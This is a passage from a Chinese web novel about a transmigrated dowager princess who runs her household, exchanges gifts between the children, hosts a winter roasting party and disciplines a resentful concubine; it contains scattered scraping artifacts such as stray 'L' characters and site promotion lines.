顾晓也略喝了大半碗,只觉背心微微出汗,整个人都暖和起来,再脱了鞋袜,提起裙子,将脚放到木桶里头,里面水温略高,一开始还有些不适应,但是很快就舒服了起来,顾晓忍不住惬意地眯起了眼睛。还是腐朽的封建统治阶级好啊,上辈子自个买了个智能泡脚盆,也就一开始用过几次,后来便闲置了。没办法,泡脚的时候的确很舒服,但是放水刷盆真的挺烦人。如今就不需要考虑这个了,有的是人帮着处理洗脚水,刷洗泡脚盆。 顾晓泡脚的当儿L,叫春雨帮着拆了头上的首饰,将头发也放了下来,春雨一边又去熏炉上拿了烘热的毛巾给顾晓隔着头发烘头皮,一边抱怨道:“娘娘也真是慈悲,西院那边自个作孽,反倒是累得娘娘这大冷天地跑这一趟,只怕那边还未必领情,现在还不定在怎么埋怨娘娘不给她脸面呢!” 顾晓感受着头顶热烘烘的温度,嘴里说道:“李氏也就罢了,二公子就是个孩子,我就算是瞧不上李氏,也不能眼睁睁地看着孩子受罪!” 春香也跟着说道:“娘娘就是好心,要换了我啊,我才不管呢!” 春燕这会儿L已经喝完一碗羊肉汤,调笑道:“正因为如此,娘娘才是娘娘呢!你倒是想换,换得着吗?” 屋子里一群人都跟着笑了起来,顾晓笑道:“这什么跟什么啊,你们啊,如今倒是口无遮拦起来!” 春雨笑道:“这也是娘娘纵得不是,换做之前,咱们可不敢!” “行啦,想要拍马屁,明儿L个也不迟,到时候谁嘴甜,我就给谁多点好处。今儿L个时候也不早了,除了上夜的,其他人都回去歇着吧!”顾晓摆了摆手,笑道。 一群下人纷纷行礼,各自退下。 上夜的春燕和春雨也一起在熏笼上铺了铺盖,先伺候着顾晓睡下,然后吹了蜡烛,这才摸黑去了熏笼那边,两人挤在一起睡了下来。 一夜无话,顾晓第二天起来,刚刚梳洗完毕,徒嘉钰就过来了。 给顾晓请了安,徒嘉钰这才问道:“妈,听说昨儿L个西院那个弟弟生病了?” 顾晓问道:“都那个点了,谁跟你说的?” 徒嘉钰连忙说道:“是我早上起来,夏萤姐姐跟我说的!” 顾晓身边的一等丫头都用了个春字,二等三等就没有另外取名,等她们升上来之后,才会改名。而徒嘉钰那边一等丫头,就用了个夏字。他身边四个一等丫头,分别叫做夏萤,夏荷,夏菲,夏兰。 顾晓点了点头:“这样啊!她说得没错,你二弟昨儿L个生病了!” 徒嘉钰顿时有些纠结,这大半年徒嘉泽没生过病,他差点都忘了,之前这个二弟是经常生 病的。以前徒嘉泽生病,顾晓都会让他准备一份礼物?,叫人送过去。 这也是没办法的事情,徒宏远就是个偏心眼子,他喜欢李氏和徒嘉泽,那徒嘉钰就得做到兄友。所以,先是原身代徒嘉钰准备礼物,后来就是徒嘉钰自个准备礼物,总之没消停过。 顾晓倒是没有故意阻隔徒嘉钰与徒嘉泽的兄弟之情,见他纠结,便说道:“你叫人送几件玩具便是了!” 徒嘉钰顿时松了口气,这事简单啊,他现在好多玩具都不玩了,正好可以送给徒嘉泽,因此,当下便对跟着他一块过来的夏菲说道:“夏菲姐姐,你回我院里,拿一个陀螺,一个益智图,一个磨喝乐,还有一个陶响球包起来装盒子里,给西院那边送过去吧!” 夏菲当下回去拿东西,之后又带上一个小丫头一起往西院而去。到了西院,徒嘉泽刚刚迷迷糊糊睡醒,正在喝米汤,李氏之前被身边伺候的丫头又苦口婆心劝了一通,一大早又拿着一大堆东西来跟儿L子联系感情。 小孩子对亲生母亲是很少记仇的,这会儿L母子两个又开始亲亲热热起来。 夏菲进来也不多话,直接说道:“侧太妃娘娘,我们小王爷听说二公子病了,便叫奴婢等人过来给二公子送几样玩具,叫二公子养病的时候好打发一下时间!” 李氏听了,也没觉得意外,当下便说道:“那替我谢谢小王爷,你们回去跟小王爷说,等二公子病好了,再去找小王爷一起玩!” 夏菲恭恭敬敬答应了下来,便又带着小丫头回去了。 李氏叫人开了匣子,一看里头的东西,脸便拉了下来,只觉自个母子被敷衍了。毕竟以前送来的说是玩具,但不是金银就是玉器,结果这次送过来的都是些什么玩意! 徒嘉泽倒是挺喜欢,以前送过来的玩具因为价值高,李氏哪里肯随便给他玩,弄坏了怎么办,这回干脆将匣子放到徒嘉泽面前,他乐滋滋地将里面的那组彩陶磨喝乐拿出来,又叫奶娘拿了他玩具里头的小杯子小盘子之类的过来,好用磨喝乐过家家。然后又拿着陶响球在炕上滚着玩。 李氏愈发觉得儿L子不知好歹,越看越来气,当下一甩手,就回自个屋里去了。 徒嘉泽这会儿L正玩得不亦乐乎,根本没意识到李氏走了,横竖平时跟他一起玩的也是身边的丫头奶娘,李氏的存在感并不算多,李氏一走,丫头奶娘也放开来,玩得愈发开心起来。奶娘如今也意识到,李氏这个亲妈是靠不住的,反倒是正院那边太妃是个心正的,因此,便想要潜移默化,叫徒嘉泽亲近正院,即便是以后,徒嘉泽分府出去,有徒嘉钰这个亲王长兄照应,总比人家不管不顾来得强。 徒嘉钰却是问顾晓道:“以后二弟会跟我们一起念书吗?”他可不想跟徒嘉泽一块读书,在他记忆里,这个弟弟就是个熟悉的陌生人,还成天生病,跟他一起玩肯定没意思。 顾晓想了想,说道:“你二弟年纪小,身体也不好,只怕想要读书还得再等两年,到时候,你应该进弘文馆念书了,不会跟你二弟一起 的!” 徒嘉钰一方面松了一口气,另一方面又有些失望,忙问道:那末儿L呢?他以后能跟我一起去弘文馆念书吗? ?微云烟波的作品《红楼太妃要躺平》最新章节由??全网首发更新,域名[( 顾晓摇了摇头,说道:“一家王府只有一个进弘文馆念书的名额,以后末儿L肯定也还是在自家府里念书,不过那时候,你应该已经学会很多东西了,到时候你可以回来多教导末儿L,你觉得怎么样?” 徒嘉钰连忙点了点头,顿觉一副重担压上了自己肩头,自己可得好好念书,要不然到时候给末儿L做先生,教得不好那可就遭了,回头把末儿L的学业给耽误了! 徒嘉钰几乎是第一时间进入了先生的角色,等着末儿L被抱过来,就一本正经地对他说道:“末儿L,你现在也开始学说话了,不如跟哥哥一起念书啊!” 这么长一串话,末儿L根本没听懂,还以为徒嘉钰是要跟自己玩,屁颠屁颠地爬过去,凑到徒嘉钰身边,“吧唧”一口亲在他脸上,徒嘉钰顿时脸红了,他用力擦了擦脸上的口水,有些狼狈地说道:“末儿L,哥哥跟你说要念书呢,不是说要亲近!” 末儿L压根没感觉到徒嘉钰的抓狂,他“咯咯”笑着,胖嘟嘟的小手抓住了徒嘉钰的手指,就往自己嘴里塞,他现在下面的门牙也开始萌发,虽说给他做了磨牙棒,但是还是喜欢抓着什么咬什么,平常坐在桌子前,都想要啃一下桌面。 一边奶娘赶紧拦着,又拿了一根烤得香脆的磨牙棒给徒嘉钰:“小王爷,你拿这个哄三公子就行!” 徒嘉钰赶紧用另一只手接过磨牙棒,送到末儿L面前,末儿L闻到香味,这才松开徒嘉钰的手,接过磨牙棒,送进嘴里,米粒大的小牙齿在上面磨着,不多久,带着点糊糊的口水就流了下来。 徒嘉钰纠结地拿着帕子给末儿L擦嘴,对教这个弟弟读书一时间失去了希望。 顾晓在一边看得直乐,笑道:“他现在还小呢,你们可以先一块读故事书!” 徒嘉钰一听,眼睛就是一亮:“什么故事书?” 顾晓挥了挥手,便有人拿了厚厚一叠书过来,封面上赫然印着《西游记》三个字。 这套书是之前叫人在外头买的,虽说到了年底,许多铺子都关了门,但也还有年节时候照样做生意的,甚至过年的时候,生意更好做。 像是书坊,一般情况下,也就是大年三十和年初一才歇业,其他时候都是开着的。来年就有会试,年前已经有各地的举子陆陆续续赶到神京。到了神京,多半要去书坊买几本近年来的时文集,甚至还要猜测朝中谁会当主考官,看看书坊里头有没有这些人的文集,买回来也能揣摩揣摩。 没有哪个书坊只做科举生意的,像是这些传奇话本,销量可要高得多。各家公子少爷,多半偷偷摸摸买过什么飞燕武则天的秘史,闺阁里头,私下也有传阅《西厢》、《牡丹亭》的。如今也有一些落魄文人,专门以此为业,写各种才子佳人,宫闱艳史,还有神鬼志异的,甚至,你要是跟书坊混熟了,还能看到各种避火图,那叫一个姿势繁 多,花样百出。 顾晓叫人买了几套《西游记》,然后又叫人买了一些时新的话本传奇,自个平时没事可以看着打发打发时间。话本什么的还没开始看,不知道如今的话本是个什么风格,但是《西游记》,顾晓倒是已经翻看了小半本,确实与记忆中的并无二致,难免升起了几许追忆。 这几套《西游记》是插画版,做得很精美,当然,价钱也很美丽。这年头的书倒是没什么版权费用,主要印刷成本就很高。别看活字印刷术已经发明出来好几百年,但是一方面没有合适的油墨,水墨不适合用来做活字印刷,另一方面就是活字的维护和使用成本其实是很高的,因为识字率其实很低,而且一本话本,能卖出一千本,那就是这个时代的畅销书,偏偏这种书还字数比较多,里面常用字就一大堆,你得用多大的容器来承装呢?就算是有地方装,你又能找到几个识字懂声韵的印刷工人呢?有这样的人在市井里头给人写信读信都比做印刷工人来得轻松吧! 所以,市面上绝大多数书籍,都是雕版印刷,唯有朝廷要是想要编撰什么大部头,才会用铜活字来印刷保存。 徒嘉钰拿了一本,翻开一看,就喜欢上了,上头插画甚至是套色彩印的,看着就叫人觉得心潮澎湃。 “哥哥先看,回头再跟你一起读啊!”看着末儿L还在啃磨牙棒,哪怕奶娘不时擦一把,也弄得嘴角手上一团糟,徒嘉钰顿时打消了跟末儿L一起读书的念头,自个拿着书跑窗户边看去了。 顾晓也没有阻拦,倒是末儿L瞧着哥哥居然跑了,当下也丢下手里的磨牙棒,手脚并用,往徒嘉钰那边爬去。 奶娘赶紧拿了帕子给他将手和嘴擦干净,又给抹上一层面脂,这才放他跑到徒嘉钰身边,伸出双手求抱抱。 瞧着弟弟又变成了干干净净的小可爱,徒嘉钰也不嫌弃了,拥着他在窗户边上的罗汉床上坐下,笑眯眯地说道:末儿L,哥哥来给你讲孙悟空的故事啊!⑦⑦[” 末儿L什么也没听懂,依旧在那里“咿咿呀呀”不知道在说些什么。 “娘娘,二公子身边的翠芝来给小王爷送回礼!”徒嘉钰刚开了个头,门外就传来了说话声。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 42 章 徒嘉泽那边,奶娘和丫头们想好了要跟正院打好关系,便也不跟李氏打招呼,就哄着徒嘉泽从自己的玩具箱里选了几样礼物,让翠芝送了过来。 翠芝站在门口,有些战战兢兢。之前西院下人大洗牌,伺候徒嘉泽的人倒是没变。但是她们都很怀疑,若是侧太妃再这么作下去,说不得她们也得跟着遭殃。 西院那边,以前对正院都是妖魔化的。在李氏口中,要不是顾晓凭空冒出来,她才会是亲王妃。 这纯粹是说梦话,别说是皇家,就算是寻常人家,婚事也得是父母之命媒妁之言。李才人就算占了个生母的位置,但她却是做不得主的。甚至便是徒宏远,让他选择也不会让李氏做正室,毕竟,他自个出身在兄弟们之中已经算是比较低的,再娶个出身一般的正妻,那在宗室圈子里头都要抬不起头来。而李氏嘛,本身也缺乏作为一个王府主母的素质,她是那种可以被收藏起来娇养的金丝雀,你让她主持一府中馈,还有府里的各种人际往来,她能把人都得罪光。 王府里头有见识的自然知道李氏就是在吹牛,但是底层的下人其实也想不到这么多。在她们看来,李氏的确是王爷的真爱,王妃娶进来,除了初一十五王爷会留宿之外,其他时候都见不到人。 但是等到徒宏远一死,风向立刻就变了。唯名与器,不可假人。名便是名分,器便是权力。以前徒宏远硬生生将李氏抬到了仅比正妃低半头的位置,连同内院的权力也分了一部分给了她。可没了这位拉偏架的,名和器就都在顾晓手上了。李氏稍微一出手,就被打得溃不成军。 翠芝就是从府里庄子上选出来伺候小主子的,家里对她的规划也很明确,她这个年纪,是做不了姨娘通房的,那就是先做大丫头,到了年纪嫁了人有了孩子再进府做姑姑,伺候到徒嘉泽开府,跟着过去做个管事娘子,说不得还能借着这个机会,将自家女儿也变成主子。 可惜计划赶不上变化,翠芝家里原本一直奉承讨好李氏,为的就是让翠芝能够一直伺候徒嘉泽。可如今李氏做不了主了,翠芝这样的大丫头,嫁出去之后就算能再进府,也几乎不可能再进西院了。 翠芝如今也已经十八九岁,真要是上头有想法,这个年纪也足够被打发出去配人了,她不想随便被嫁个小厮仆役,甚至是直接被送回娘家由娘家父母主持婚事,如此,就得讨主子的欢喜才行。徒嘉泽的奶娘要讨好正院,翠芝恨不得举双手表示赞成,然后这差事就落到她头上了。 到了正院门口,想着西院前些年给正院下的蛆,翠芝觉得要是自己,铁定不肯善罢甘休,何况是太妃娘娘这样的人物。这回她自个送上门来,还不定怎么样呢! 就在翠芝胆战心惊的时候,一个小丫头过来,笑眯眯地说道:“这位姐姐,娘娘叫你进去回话!” 翠芝回了神,赶紧说道:“那还请妹妹帮忙带路!” 那小丫头走在前头,引着翠芝进了屋子,翠芝眼睛余光只看到一个穿着莲青色褙子的贵妇坐在上 首的罗汉床上,手搁在一边的小几上。她也不敢抬头看,就着捧着匣子的姿势跪下行礼:“奴婢翠芝给娘娘请安!” 顾晓听这小丫头说话的时候牙齿似乎都有些打战,不免有些奇怪,这丫头看打扮就是徒嘉泽身边的一等,怎地还这副没怎么见过世面的样子,不过,又不是自个儿子身边的人,顾晓才懒得多管,直接说道:“起来回话吧!” “谢娘娘!”翠芝见顾晓言辞并不威严,反而有些随意,紧张的心情也略微平复了下来,然后开口说道:“奴婢是奉了二公子的吩咐,来给小王爷送回礼的!二公子很喜欢小王爷送去的玩具,也从自个的玩具里头选了几样,叫奴婢送过来,还说等他病好了,再亲自向小王爷道谢!” 这些肯定不是徒嘉泽说的,而是奶娘教的话,不过谁也不会揪着这些话不放。顾晓笑道:“倒是难为二公子了!钰儿,你过来,你二弟给你送回礼来了!” 徒嘉钰那边已经给末儿讲了猴王出世,这会儿还有些意犹未尽,听到顾晓喊他,忙收了书,叫奶娘讲末儿抱走,小跑着过来,看向了翠芝,好奇地问道:“二弟给我送的什么回礼?” 翠芝连忙将匣子捧起,夏荷走过去双手接过,捧到徒嘉钰面前。徒嘉钰伸手打开,发现里面同样放着四件玩具,一个瓷制的鱼型哨子,一个竹编的蝈蝈笼子,一小盒琉璃球,还有一个骑着老虎的泥塑娃娃。 徒嘉钰摆弄了一下蝈蝈笼子,饶有兴致地说道:“那你回去跟二弟说,这些我也很喜欢,回头他要是有空,可以去前头我院子里玩!” 翠芝心中大喜,有这一句话,哪怕是客气话,回去也足够交差了,当下低头说道:“奴婢回去一定跟二公子说!” 顾晓在一边问道:“二公子今儿个怎么样了?” 翠芝连忙说道:“回娘娘的话,二公子今儿已经不发热了,但还是咳嗽,不过喉咙里已经有了痰音,齐嬷嬷早起调了一些柿霜,二公子喝了半杯,略好了一些。” 顾晓想了想,说道:“柿霜却是略微寒凉了些,虽说对症,但是二公子素来脾胃虚弱,这柿霜也不知道是否适宜!回头我叫人去请教一下何太医,问问他可有什么止咳化痰的方子。我记得秋天的时候府里还在地窖存了些白梨,取一些送到二公子那里,给他蒸了吃,也是好的。” 翠芝赶紧道谢:“娘娘慈爱,二公子知道了,定然感念!” 顾晓说道:“二公子难道不是我的孩子,他好好的,我就放心了!罢了,现在他病着,身边也离不得人,你也早点回去,若是他有什么想吃的,想玩的,尽管过来禀报,咱们府里也不差这么点!” 翠芝又是跪下给顾晓磕头,这才回去了。 翠芝刚一走,徒嘉钰就过来撒娇:“妈,我也想吃梨!” “这值当什么,还专门跟我说!”顾晓不由失笑,忽然想到上辈子一度流行的所谓围炉烤茶,便笑道,“这梨不光可以蒸了吃,还可以烤了吃!再叫她们那点栗子、红薯之类的东西过来,咱们可以一块烤!” 小孩子不适宜多喝茶,但是烤点水果干果甚至是点心什么的,却是无妨。 吴嬷嬷笑道:“娘娘怎么想起来这个,我记得乡下人家,倒是喜欢围着火盆,往里头煨一些红薯芋头之类的!” 顾晓也是笑道:不过是个野趣罢了!这些在屋里吃不好,烟气大,别一个不小心呛着了,直接送到明霞亭那边去!” 上面一张嘴,下面跑断腿。顾晓一声吩咐,立马就有人先往明霞亭准备起来亭子是半封闭式的,天暖和起来可以将窗户打开,就能看见花园里的风景。因为亭子地势较高,旁边还有假山竹林掩映,到了夏秋季节,霞光映照,格外璀璨,这才取了这个名字。 明霞亭用的不是地炕,而是火墙,这边地方本来也不算大,刚生了一会儿火,亭子里温度就上来了。几个下人又将背风的窗户略微开启,防止一会儿碳炉烧起来,烟气排不出去,呛着了主子们。 厨房那边也很快送来了烤炉,里面燃着上等的银霜炭,上头覆着一层铁网,这会儿已经烤得略微有些发红。相应的,食材就非常丰富。水果有柑橘、白梨、山楂、甘蔗、柿子,干果有花生、桂圆、核桃、干枣、板栗,又有红薯、南瓜、芋头、玉米、年糕等等。除此之外,又配上了一个茶炉和许多蜜饯茶点,如此,即便是烤得不好吃,也不怕没别的消遣。 原本厨房那边还打算串一点肉串,再加一个炉子拿来烧烤,却被严大娘给否了。这些水果干果,外面有壳有皮,就算是烤不好,吃起来也不会难吃,更不会吃出什么问题来,若是做炙肉就不一样了,大人还好,还有孩子呢,若是吃了什么半生不熟的,或是焦了的,再沾上炭灰,到时候吃坏了小主子的肠胃,那可如何是好! 顾晓带着人过来的时候,明霞阁里已经有食物的甜香弥漫开来。奶娘给末儿解开外面的小斗篷,塞进他的餐椅里,末儿不安分地坐在上头,小腿踢踏个不停,眼巴巴地看着琳琅满目的东西流口水。 顾晓笑着叫人先拿了一块锅巴略微烤热了一些,拿给末儿,末儿双手抓着塞到嘴里,眼睛还在盯着炉子上那些色彩缤纷的食材。徒嘉钰也从来没见过这般玩法,兴奋地绕着炉子转悠了一圈,还尝试着拿着夹子将几个板栗放到烤网上,嘴里问道:“这个多久能熟啊!” 顾晓笑道:“我也没试过,先烤着便是,咱们可以先煮一点茶,边喝边等!” 说是茶,里头却没有茶叶,而是切了一些梨片,放了一点陈皮和金桔,不需要额外加糖,喝起来酸酸甜甜,便是末儿也能喝一点。 春香提了茶壶,分别给顾晓、徒嘉钰乃至末儿都倒了一杯茶,末儿的杯子是特制的小银杯,上头带着两个把手,他可以自个抓着,里面还放了一根同样是银制的吸管,末儿兴奋地凑过来喝了一口,感受到嘴里酸甜的味道,几乎要从餐椅上站起来。 喝了一会儿茶,像是年糕、花生、红枣之类体积比较小的已经烤好了,顾晓夹了一小块年糕凉了一会儿,试了试已经不烫手,这才拿到末儿面前给他咬着玩。虽说年糕不 容易克化,但是以末儿那点小牙齿,也只能在上头留下几个压印,纯粹是给他磨牙。反倒是花生不能给他吃,免得呛到气管里。 徒嘉钰有些笨手笨脚地拿了小锤子敲开花生壳,才想要用手去拿,就被烫了一下,顾晓看得直笑,一边伺候的丫头赶紧戴上棉手套,搓掉花生皮放到小碟子里,叮嘱道:“小王爷可以等一会儿再吃!” 徒嘉钰这下不敢直接伸手拿了,他只是拿着夹子往炉子上放吃的,旁边伺候的人瞧着熟了便夹下来,剥皮去壳,然后放到各人碟子里。 顾晓也用筷子夹了一块年糕,吃了一口,外脆里糯,很是香甜,她看着那些丫头们笑道:“东西多着呢,你们也拿着吃!” 这些丫头都知道顾晓的性子,并非故意跟她们客气,因此,也不推脱,便分了两班,一班帮着烤,一班在一边找了个地方吃着。春燕吃了两个花生,便笑道:“还是娘娘巧思,我们以前单知道用这铁网可以烤肉,却没想到可以用来烤这些。我们之前也在自个屋里用炭盆烤点花生红薯什么的,却没这么干净,火候也看不好,花生容易焦,番薯外头都焦了,里面还是生的,一点都不好吃!” 吴嬷嬷掰开一根细长的小红薯,吃了两口,笑道:“你们这是从小没吃过苦,乡下烤这些,谁会用炭盆,炭不用钱的吗?连柴火都舍不得,而是用灶膛里的炉灰焐,焐个一会儿,也就熟了!” 几个丫头都有些赧然,她们都是跟着顾晓陪嫁过来的,留头的时候就被选进隆安侯府,跟着顾晓一起长大,说是奴婢,真要说起来,日子过得比起一些穷官家的小姐还要精细呢,自然没有类似的经验。 顾晓上辈子也有类似的经验,这会儿只是笑而不语,抓着一把熟花生吃着玩。末儿已经放弃了跟那块年糕较劲,挥舞着小勺子,吃着香甜的烤南瓜,将脸上都糊上了一些南瓜泥。 徒嘉钰对开始往外流汁的烤甘蔗有些敬而远之,觉得黏糊糊的,烤橘子却是已经开始散发出浓郁的柑橘香味,徒嘉钰叫人切开一个,趁热吃了一口,脸都皱起来了,他苦着脸看向了顾晓:“妈,烤橘子不好吃,又酸又苦!” 顾晓忍不住笑了起来,叫人把一边的烤梨给去皮切片,递给徒嘉钰:“尝尝这个,这个肯定不苦!” 徒嘉钰有些怀疑地看了顾晓一眼,这回应该不是作弄自己吧,他试探着吃了一块,眼睛一亮:“还是烤梨好吃!” 春香想要将柿子夹出来,一个不小心,柿子皮就破了,里面的汁液顺着果皮滴到炭火上,便有一股子甜香弥漫开来,徒嘉钰连忙说道:“春香姐姐,给我一个柿子!” 春香不敢再用夹子夹,而是取了一个小平铲,将另一个烤得颇为诱人的柿子铲了起来,放到一个青瓷碟子上,递到徒嘉钰面前。徒嘉钰用勺子破开柿子皮,挖了一勺子果肉出来,小心翼翼地吹了几下,觉得不烫了才送进嘴里,果然香甜不腻,当下他又挖了一点,送到末儿嘴边。 末儿尝到了味道,也是兴奋不已,嘴里就开始“哥哥,哥哥”地叫个不 停。 “柿子吃多了也不好克化,稍微吃一点便行了,可不能叫他吃太多!”顾晓见了,忙叮嘱道。 事实上,末儿就是嘴大肚子小,之前吃了几样东西,这会儿已经快饱了,吃了两口柿子肉之后,便不再多吃,又张开手想要人抱。奶娘摸了摸末儿的肚子,发现已经吃得差不多了,便将他抱了起来,怕他觉得无聊,还拿了一个没烤的核桃给他玩。 “那边在做什么?”李氏那边听说徒嘉泽还给徒嘉钰送了回礼,顿时便知道这定然是那两个奶娘的主意,心中很是气不过。她在屋子里待得心烦气闷,便带了几个人到花园里闲逛。 顾晓并不禁止人逛花园,王府的花园占地面积赶得上后世的不少公园了,地方很大,只要有心,大家完全可以各自找个地方乐呵自己的,也可以几个相好的姐妹一起找个地方赏玩。 李氏可没想到,末儿如今这点年纪,顾晓居然就带着去花园了,因此也没特意询问花园里有没有别人,就顺着小路往前走,结果就听到了明霞亭这里隐隐约约的笑声。 跟着她出来的不是玉珊和玉露,而是玉桂和玉梅还有几个帮着拿东西的小丫头。 能在明霞亭里面玩笑的,定然只有正院的人,便是有下人想要去那里歇脚避风,也不敢擅自用那里的火墙。玉桂和玉梅对视了一眼,有些为难,她们跟正院的人又不熟,怎么好过去打听,正为难的时候,正好遇上几个提了水去明霞亭的粗使婆子,连忙拦住,问道:“可是太妃娘娘在前头,这正好遇上了,我们娘娘该去请安的!” 李氏听着咬牙,连自个身边的大丫头都这副对正院巴结的嘴脸,还敢替自己做主了。玉梅只当没瞧见李氏的眼神,只是继续跟那几个婆子打听消息。 这也不是什么不能说的事情,那几个婆子给李氏行了礼,便说道:“娘娘带着小王爷和小公子在亭子里吃茶呢,我们送些热水过去给娘娘她们盥洗!” 李氏才不相信这个,她咬牙切齿,低声说道:“我的孩子还在屋里养病,他们倒是乐呵起来了!” 她自以为声音很低,但是这里哪个不是耳聪目明之辈,不够眼明心亮的,也不能在府里当差。那几个婆子眼神都变了,一下子都面无表情起来,直接说道:“侧太妃娘娘还是回去吧,奴婢几个还得去给娘娘送水呢!”心里却想着一会儿一定要在娘娘那里好好告侧太妃一状。 李氏正想要发作,却被玉桂玉梅两个丫头拦住,两人简直要气死了,都什么时候了,你还一个劲地得罪人。你不会说话,难道还不会闭嘴吗?要不是李氏是主子,她们恨不得掏出帕子将李氏的嘴给堵住! “娘娘,这天也晚了,风也大,咱们还是回去吧!”玉桂搀着李氏的胳膊,劝道。 玉梅也跟着说道:“正好也该去看看二公子,问问吃过药了没有,有没有好一些!” 李氏刚才话一说出口,也有些后悔,她之前在徒宏远面前就喜欢这样上眼药,如今却是没处说去了,她有些丧气,有气无力地说道:“行了, 回去就回去吧!” 玉梅犹豫了一下,还是从自己腕上褪下一个韭菜叶宽的银镯子下来,塞到一个婆子手里,说道:“这是我一点心意,几位姑姑拿去换了钱喝酒。我们娘娘素来有口无心,不是故意对太妃娘娘不敬,烦请几位姑姑帮着遮掩几句。” 几个婆子对视了一眼,当下将镯子收下,然后说道:“姑娘不必如此,咱们也不是多嘴多舌的人!” 玉梅略微放下心来,这才回身扶着李氏回去。 李氏沉默了半晌,有些不甘不愿地说道:“你那镯子,回头我给你补上,不能叫你吃了亏!”她现在已经意识到,身边真正忠心自己的人其实没几个,既然玉梅还想着自己,那自然不能亏待了,回头人心散了,自己就真的是孤立无援。 玉梅也没想到李氏能说出这话来,她以前只是个二等丫头,几个大丫头将有好处的差事都把得严严实实,她们这些二等也只能捡到指缝里的一些便宜。玉梅手上那镯子还是自己攒了月钱打的,只是素面,连个花纹都没有,饶是如此,这镯子也有个七八钱,算是她如今大半个月的月钱了。 这会儿听得李氏这般说,心里熨帖了一些,但还是劝道:“娘娘,今时不同往日,您宁愿少张嘴,也不能平白得罪人啊!要奴婢说,太妃娘娘已经是极宽厚的人了。奴婢听人说过,这内宅之事,不是东风压倒西风,就是西风压倒东风。当年有王爷护着,您能硬强正院一头,可如今,府里正经的主子是小王爷了,那是太妃娘娘肚子里生出来的,他能向着您?” 李氏精神愈发萎靡起来:“罢了罢了,我就是有些气不过,唉!” 她几乎是垂头丧气地回了西院,看得刘氏她们几个惊讶不已,纷纷猜测,李氏是不是又冲撞了太妃。太妃娘娘这脾气,未免也太好了些,换做是自己,早就给她一个好看! 而明霞亭那边,那几个婆子到底没有守口如瓶,老老实实将李氏的话转述了出来。! 第 43 章 人一旦犯起蠢来,那真的是无药可医。便是顾晓,也不敢相信,都到这个份上了,李氏居然还能说出这样没脑子的话来。 听着这样的话,顾晓也没了兴致,丢下手里刚剥开壳的栗子,淡淡地说道:“既是李氏惦记着二公子,就去请一尊药师佛回来,在她屋里设个小佛堂,让她好好给二公子念经祈福吧!” 顾晓对李氏如今是愈发厌烦了,这俨然就是癞蛤蟆跳到脚背上,不咬人它膈应人。自己之前也太过心慈手软,觉得毕竟是个活生生的人,如今也没别的倚仗,只要她能老老实实消停下来,就当养个闲人便是,王府也不差这点开支。结果,她倒是觉得自己好欺负了! “这眼看着就要过年了,请药师佛的事情,也不急于一时!”吴嬷嬷瞧着顾晓脸色,试探着问道。如今请佛可不像是后世,程序简化了许多,讲究一点的还要看个黄道吉日,不讲究的就直接赶上哪天算哪天,这叫做“心诚则灵”。而如今请佛,得先跟寺庙说好,放在庙里供奉一段时日,期间,你还得斋戒到吉日,然后再恭恭敬敬将佛请回来供上。 “这不是正好嘛!”顾晓说道,“明儿L个就找人去西院将佛堂收拾出来,叫李氏先斋戒,等过了正月,就把药师佛请回来!” 既然明儿L个就要收拾佛堂,自然不能不先跟李氏说一声。李氏这边屁股都没坐热,就得到了这个消息,她想要发作,却生生止住了。她这会儿L才意识到,什么叫做祸从口出。 瞧着李氏还在发愣,过来传话的春燕板着脸说道:“娘娘说了,二公子从出生就二灾八难的,原以为好生调理就能长成,谁知这都过年了,还染了症候。请药师佛回来,也是为了给二公子消灾延寿!侧太妃娘娘是二公子的生母,必然不会将此事假手于人的,不是吗?” 李氏的心一点一点沉下去,她如今也就是二十出头的年纪,哪里会喜欢吃斋念佛,只是春燕话都说到这份上了,她总不能说,自己一点也不在乎徒嘉泽会不会生病,自己就是不想要礼佛。想着之前脱口而出的那句话,李氏恨不得扇自己几个嘴巴,可惜已经晚了。她声音变得艰涩起来,开口说道:“娘娘的意思,我明白了,明儿L就开始斋戒!” 春燕点了点头,说道:“侧太妃娘娘这番慈心诚心,药师佛定然会保佑二公子的!”言外之意就是,以后徒嘉泽要是生病,那就是你不够诚心。 李氏也没想到这一重,送走了春燕,她无力地跌坐在炕上,一时间一句话也说不出来。 边上一帮下人也是垂手低头,一句话也不敢说,生怕触了李氏的霉头。 好半天,李氏才苦笑起来,看着玉梅说道:“你说得对,今日不同往日,她能拿捏我的地方多着呢,我又能如何呢?”到了这个时候,她甚至开始怨恨起徒嘉泽来,觉得要不是有徒嘉泽这个软肋,她这会儿L就能闹将出来!可惜的是,一切都没有如果。 正院没有瞒着这个消息,很快,几个太姨娘都听说了这事,一个个不由咂舌。这李 氏也够能耐的,竟是将太妃娘娘惹怒到这个地步。 她们进府多年,都知道顾晓是个宽厚的,对她们这些侍妾并无苛待之处,如果说以前还能说是做给王爷看的,如今还要做给谁看。外头多的是男人一走,大妇就把小妾提脚卖了的,只要说是怕她们守不住,那外人也只能是心里嘀咕几句。如今她们在府里还依旧能锦衣玉食,生活无忧,那就是上辈子修来的造化,这才遇上这样一个宽厚的主母。 ?微云烟波提醒您《红楼太妃要躺平》第一时间在[]更新,记住[( 李氏如今这样的下场,大家都觉得是李氏的错,要是太妃娘娘真是个小心眼的,想要报复,当初王爷没了,就该一条白绫把李氏勒死,对外说是李氏自个殉了,谁还能说半个不字。到如今,也只是叫李氏礼佛而已,还给了李氏一个慈母的名头,那真的是大度到顶了。 顾晓可懒得管那些太姨娘是个什么想法,她就是杀猴骇鸡一把,免得一个个日子过得舒服了,就不安分起来。她是来提前享受退休生活的,可不是来给下头小妾断官司的。 隔了一日便是除夕,出了李氏那件事,顾晓也懒得再表演什么妻妾和睦的把戏,直接吩咐厨房准备二桌席面分派下去,她们还可以自己点菜,叫她们自个过年,正院这边也就他们母子二人一起过年。 徒嘉钰也没觉得有什么不适应的地方,往年大家也不都在一处,往年除夕,他都会跟着顾晓进宫朝贺,朝贺之后就在宫里参加宴会。回来之后,徒宏远要么就是去书房,要么就是跑西院,以至于徒嘉钰在府里压根就没什么团圆饭的概念。 顾晓也懒得教他,横竖以后也是如此,等出了孝,他就得以嗣平王的身份进宫朝贺,也不会留在府里,既是如此,自然没必要多此一举。 几个太姨娘也没什么意见,她们以前也是凑在一起过年的,如今六个人商议了一番,干脆准备两桌并作一桌,人多也热闹。 除夕这一天有一个重大的任务就是祭祖,以前是没这个环节的,虽说王府里面设了祠堂,但当时祠堂就是空的,一直到徒宏远死后,才将他的神主牌供奉了上去,以后,他这一系的子孙到了除夕之类的日子就要来祭祀。 